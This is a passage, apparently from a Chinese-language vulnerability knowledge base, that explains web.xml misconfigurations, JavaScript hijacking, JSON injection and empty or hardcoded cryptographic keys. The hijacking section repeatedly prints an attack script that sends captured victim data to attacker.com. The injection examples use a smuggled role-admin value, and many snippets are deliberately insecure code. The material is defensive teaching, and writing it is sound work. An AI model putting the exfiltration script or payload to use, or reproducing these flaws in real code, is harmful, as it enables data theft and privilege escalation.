web.xml
中,沒有 Servlet 名稱或是有相同的 Servlet 名稱,視為錯誤。每個 Servlet 應該擁有專屬名稱 (servlet-name
) 以及相符的對應 (servlet-mapping
)。web.xml
中的項目顯示了數個錯誤 Servlet 定義。
<!-- No <servlet-name> specified: -->
<servlet>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Empty <servlet-name> node: -->
<servlet>
<servlet-name/>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Duplicate <servlet-name> nodes: -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-name>Servlet</servlet-name>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<login-config>
元素來設定使用者驗證至應用程式的方式。因為沒有人可以登入,沒有 authentication 方式就表示該應用程式不知道套用授權限制的方式。Authentication 方式是使用 <auth-method>
標籤進行指定,該標籤也是 <login-config>
的子項。BASIC
、FORM
、DIGEST
和 CLIENT_CERT
。BASIC
代表 HTTP Basic 驗證。FORM
代表表單架構驗證。DIGEST
與 BASIC 驗證類似,但在 DIGEST 中,會將密碼加密。CLIENT_CERT
要求用戶端擁有公開金鑰憑證並使用 SSL/TLS。
<web-app>
<!-- servlet declarations -->
<servlet>...</servlet>
<!-- servlet mappings-->
<servlet-mapping>...</servlet-mapping>
<!-- security-constraints-->
<security-constraint>...</security-constraint>
<!-- login-config goes here -->
<!-- security-roles -->
<security-role>...</security-role>
</web-app>
web.xml
安全性限制通常用來做為角色為基礎的 Access Control 使用,但是選用的 user-data-constraint
元素會指定傳輸保證,避免以不安全的方式傳輸內容。<user-data-constraint>
標籤內,<transport-guarantee>
標籤會定義應該如何處理通訊。傳輸保證共有三個層級:NONE
表示應用程式不需要任何傳輸保證。INTEGRAL
表示應用程式需要用戶端和伺服器之間使用此方法傳送資料,如此一來在傳輸資料時就不會變更。CONFIDENTIAL
表示應用程式會要求要以避免其他實體可檢視傳輸內容的方式來傳送資料。INTEGRAL
或 CONFIDENTIAL
就表示必須使用 SSL/TLS。如果省略了 <user-data-constraint>
和 <transport-guarantee>
標籤,傳輸保證會預設為 NONE
。
<security-constraint>
<web-resource-collection>
<web-resource-name>Storefront</web-resource-name>
<description>Allow Customers and Employees access to online store front</description>
<url-pattern>/store/shop/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Anyone</description>
<role-name>anyone</role-name>
</auth-constraint>
</security-constraint>
AuthenticationFilter
的篩選對應。因為缺少定義,不會套用篩選 AuthenticationFilter
至指定的 URL 模式 /secure/*
上,而且可能會造成執行階段異常。
<filter>
<description>Compresses images to 64x64</description>
<filter-name>ImageFilter</filter-name>
<filter-class>com.ImageFilter</filter-class>
</filter>
<!-- AuthenticationFilter is not defined -->
<filter-mapping>
<filter-name>AuthenticationFilter</filter-name>
<url-pattern>/secure/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>ImageFilter</filter-name>
<servlet-name>ImageServlet</servlet-name>
</filter-mapping>
role-name
的安全性限制會妨礙合法存取安全性限制保護的所有資源。auth-constraint
中所定義 role-name
的 security-role
可能表示該組態已過時。role-name
,但並未在 security-role
中定義該角色名稱。
<security-constraint>
<web-resource-collection>
<web-resource-name>AdminPage</web-resource-name>
<description>Admin only pages</description>
<url-pattern>/auth/noaccess/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Administrators only</description>
<role-name>admin</role-name>
</auth-constraint>
<user-data-constraint>
<transport-guarantee>INTEGRAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
web.xml
中所定義的 Servlet。web.xml
中的項目會定義 ExampleServlet
,但無法定義相符的 Servlet 對應。
<web-app
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>ExampleServlet</servlet-name>
<servlet-class>com.class.ExampleServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
</web-app>
<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
ANYONE
這個角色。ANYONE
角色,這表示沒有完整考慮應用程式的 access control,或以此方式建立應用程式會使得合理的 access control 限制不可能存在。ANYONE
,允許其叫用 Employee
EJB 的方法 getSalary()
。
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
和 password
將非特殊權限使用者的使用者帳戶驗證資訊 (這類使用者具有「default」角色,而具特殊權限之使用者具有「admin」角色) 序列化為位於 C:\user_info.json
的 JSON 檔案:
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
來執行的,所以將不會驗證 username
和 password
中的不可信賴資料以逸出與 JSON 相關的特殊字元。如此便允許使用者任意插入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果密碼為 Evil123!
的非特殊權限使用者 mallory
在依設定 username
變數值的提示進行輸入時,將 ","role":"admin
附加至其使用者名稱,則產生並儲存到 C:\user_info.json
的 JSON 將會如下所示:
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
JsonConvert.DeserializeObject()
還原序列化為 Dictionary
物件,如下所示:
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
Dictionary
物件中 username
、password
和 role
金鑰產生的值將分別是 mallory
、Evil123!
和 admin
。如果未進一步驗證還原序列化的 JSON 值是否有效,應用程式將會錯誤指派「admin」權限給使用者 mallory
。username
和 password
將非特殊權限使用者的使用者帳戶驗證資訊 (這類使用者具有「default」角色,而擁有特殊權限的使用者具有「admin」角色) 序列化為位於 ~/user_info.json
的 JSON 檔案:
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
和 password
中的不可信賴資料以逸出與 JSON 相關的特殊字元。如此便允許使用者任意插入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果密碼為 Evil123!
的非特殊權限使用者 mallory
在輸入自己的使用者名稱時附加了 ","role":"admin
,則產生並儲存至 ~/user_info.json
的 JSON 將會如下所示:
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
。username
和 password
將非特殊權限使用者的使用者帳戶驗證資訊 (這類使用者具有「default」角色,而具特殊權限之使用者具有「admin」角色) 序列化為位於 ~/user_info.json
的 JSON 檔案:
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
來執行的,所以將不會驗證 username
和 password
中的不可信賴資料以逸出與 JSON 相關的特殊字元。如此便允許使用者任意插入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果密碼為 Evil123!
的非特殊權限使用者 mallory
在依設定 username
變數值的提示進行輸入時,將 ","role":"admin
附加至其使用者名稱,則產生並儲存到 ~/user_info.json
的 JSON 將會如下所示:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
JsonParser
還原序列化為 HashMap
物件,如下所示:
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
HashMap
物件中 username
、password
和 role
金鑰產生的值將分別是 mallory
、Evil123!
和 admin
。如果未進一步驗證還原序列化的 JSON 值是否有效,應用程式將會錯誤指派「admin」權限給使用者 mallory
。
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
中不可信賴的資料,以逸出與 JSON 相關的特殊字元。如此便允許使用者任意注入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果非特殊權限使用者 mallory
將 ","role":"admin
附加至 URL 中的名稱參數,JSON 會變成:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
進行剖析並設定為純物件,這表示 obj.role
現在會傳回 "admin",而不是 "user"_usernameField
和 _passwordField
,將非特殊權限使用者的使用者帳戶驗證資訊 (這類使用者具有「default」角色,而具特殊權限之使用者具有「admin」角色) 序列化為 JSON:
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
來執行的,所以將不會驗證 _usernameField
和 _passwordField
中的不可信賴資料以逸出與 JSON 相關的特殊字元。如此便允許使用者任意插入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果密碼為 Evil123!
的非特殊權限使用者 mallory
在輸入 _usernameField
欄位時,會將 ","role":"admin
附加至其使用者名稱,則產生的 JSON 將會如下所示:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
還原序列化為 NSDictionary
物件,如下所示:
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
NSDictionary
物件中產生的 username
、password
和 role
值將分別是 mallory
、Evil123!
和 admin
。如果未進一步驗證還原序列化的 JSON 值是否有效,應用程式將會錯誤指派「admin」權限給使用者 mallory
。
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
中不受信任的資料,以逸出與 JSON 相關的特殊字元。如此便允許使用者任意注入 JSON 金鑰,進而可能變更已序列化的 JSON 結構。在此範例中,如果非特殊權限使用者 mallory
將 ","role":"admin
附加至 URL 中的名稱參數,JSON 會變成:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
和 passwordField
,將非特殊權限使用者的使用者帳戶驗證資訊 (這類使用者具有「default」角色,而具特殊權限之使用者具有「admin」角色) 序列化為 JSON:
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
和 passwordField
中不受信任的資料以逸出與 JSON 相關的特殊字元。如此便允許使用者任意注入 JSON 金鑰,進而可能變更已序列化之 JSON 的結構。在此範例中,如果密碼為 Evil123!
的非特殊權限使用者 mallory
在輸入 usernameField
欄位時,會將 ","role":"admin
附加至其使用者名稱,則產生的 JSON 將會如下所示:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
還原序列化為 NSDictionary
物件,如下所示:
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
NSDictionary
物件中產生的 username
、password
和 role
值將分別是 mallory
、Evil123!
和 admin
。如果未進一步驗證還原序列化的 JSON 值是否有效,應用程式將會錯誤指派「admin」權限給使用者 mallory
。
$userInput = getUserIn();
$document = getJSONDoc();
$part = simdjson_key_value($document, $userInput);
echo json_decode($part);
userInput
是使用者可控制的,所以惡意使用者可以利用這來存取 JSON 文件中的任何敏感資料。
def searchUserDetails(key:String) = Action.async { implicit request =>
val user_json = getUserDataFor(user)
val value = (user_json \ key).get.as[String]
...
}
key
可由使用者控制,惡意使用者便可利用這一點來存取使用者的密碼及 JSON 文件內可能包含的任何其他私密資料。
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
中所示的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
中的程式碼或許可以順利執行,但有程式碼存取權的任何人都能判斷出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則絕無可能變更空的 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
範例 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
中的程式碼能夠順利執行,但有程式碼存取權的任何人都能看出它使用了空的 HMAC 金鑰。程式發佈後,除非修補此程式,否則可能無法變更空白 HMAC 金鑰。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來危害 HMAC 函數。此外,Example 1
中的程式碼容易受到 forgery 和 key recovery 攻擊。
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
包含強式、經過適當管理的密碼值,傳遞零的長度也將導致空白、null
或其他意外的弱式密碼值。
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
包含強式、經過適當管理的密碼值,傳遞零的長度也將導致空白、null
或其他意外的弱式密碼值。
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
